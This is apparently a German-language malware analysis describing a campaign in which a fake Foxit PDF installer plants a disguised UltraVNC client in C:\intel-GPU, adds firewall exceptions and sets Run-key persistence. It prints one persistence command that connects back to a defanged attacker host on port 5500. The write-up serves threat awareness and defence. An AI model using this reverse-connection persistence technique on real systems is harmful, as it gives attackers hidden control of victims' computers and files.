Fake-Dokumente, Echter Remote-Zugriff: Schadprogramm posiert als "Foxit"-PDF-Software, installiert VNC-Zugang

Der Angreifer tarnt ein bekanntes Remote-Access-Tool, UltraVNC, als GPU- und treiberbezogene Dateien, sodass selbst technisch versierte Nutzer dies leicht übersehen könnten. Nach der Installation befinden sich folgende Dateien im Ordner C:\intel-GPU. Jede dieser Komponenten erfüllt einen spezifischen Zweck beim Aufbau eines verborgenen Fernzugriffs.

• gpu.txt
  Ein Windows-Batch-Skript, das zunächst Registry-Einträge der Windows-Netzwerkprofile ausliest und dabei GUID-basierte Umgebungsvariablen erstellt. Anschließend fügt es eine oder mehrere Firewall-Ausnahmen hinzu, um c:\intel-GPU\gpu.exe die Kommunikation durch die System-Firewall zu ermöglichen. Schließlich versucht es, c:\intel-GPU\gpu.exe mit Parametern auszuführen, die eine automatische Wiederverbindung aktivieren und eine Verbindung zu hallonews.servemp3(dot)com:5500 herstellen.
• IDD.txt
  Speichert eine lokal generierte, eindeutige Kennung für das infizierte System. Diese ID wird später als Parameter verwendet, wenn sich der VNC-Client mit der Infrastruktur des Angreifers verbindet.
• SilentRun.vbs
  Führt gpu.cmd über WScript aus.
• UltraVNC.ini
  Enthält vorkonfigurierte VNC-Servereinstellungen, einschließlich Passwort, Ports und erlaubten Verbindungen.
• gpu.cmd
  Ein Windows-Batch-Skript, das eine numerische ID generiert und in IDD.txt schreibt und anschließend Passport.jpg als Täuschung öffnet. Es stellt Persistenz her, indem es einen Autostart-Eintrag in HKCU\Software\Microsoft\Windows\CurrentVersion\Run erstellt und dort folgenden Befehl hinterlegt:
  EbiClient - C:\intel-GPU\gpu.exe -multi -autoreconnect ID:%numc% -connect hallonews.servemp3(dot)com:5500
  
  Das Skript führt anschließend zusätzliche Befehle aus c:\intel-gpu\gpu.txt aus, indem es deren Inhalt in cmd piped, und beendet wiederholt zwangsweise rundll32.exe. Insgesamt fungiert es als Persistenz- und Startskript, das einen Remote-Client aktiviert und gleichzeitig weitere Anweisungen ausführt.
• gpu.exe
  Die Kernkomponente des VNC-Clients. Diese ausführbare Datei ist dafür verantwortlich, das System letztlich in einen fernsteuerbaren Host zu verwandeln und dem Angreifer unauffällig dauerhaften Zugriff zu ermöglichen.

Sobald die Anwendung aktiv ist, erhält der Angreifer vollständige Remote-Zugriffsrechte: Er kann den Desktop des Opfers einsehen, Tastatur- und Maus-Eingaben steuern, Dateien exfiltrieren, zusätzliche Schadsoftware ausführen, Persistenz herstellen und Aktivitäten in Echtzeit überwachen – alles ohne Wissen des Nutzers.

Telemetriedaten von VirusTotal zeigen Einsendungen und Erkennungen im Zusammenhang mit diesem Sample aus Deutschland, den Vereinigten Staaten, dem Vereinigten Königreich und der Ukraine. Dies deutet darauf hin, dass die Kampagne breit gestreut und nicht geografisch begrenzt ist.

Kampagnen, die vertrauenswürdige Softwaremarken missbrauchen, treten weiterhin in verschiedenen Regionen und Branchen auf, insbesondere dort, wo Nutzer regelmäßig mit gängigen Produktivitätstools wie PDF-Readern arbeiten. Die Wirksamkeit dieses Ansatzes liegt nicht in technischer Raffinesse, sondern in Vertrautheit. Nutzer vertrauen dem, was sie wiedererkennen.In diesem Fall wird dieses Vertrauen zusätzlich durch dokumentähnliche Köder verstärkt. Indem ausführbare Dateien als scheinbare Dokumente präsentiert werden, verschiebt der Angreifer die Erwartungshaltung der Nutzer vom Installieren von Software hin zum einfachen Öffnen einer Datei. Diese kleine Veränderung reduziert Misstrauen und erhöht die Wahrscheinlichkeit der Ausführung.

Die Kombination aus Markenimitation und dokumentähnlichem Köder verdeutlicht ein wiederkehrendes Muster moderner Bedrohungen. Der Erfolg hängt weniger von der Ausnutzung technischer Schwachstellen ab als vielmehr davon, sich an das Verhalten und die Erwartungen der Nutzer anzupassen.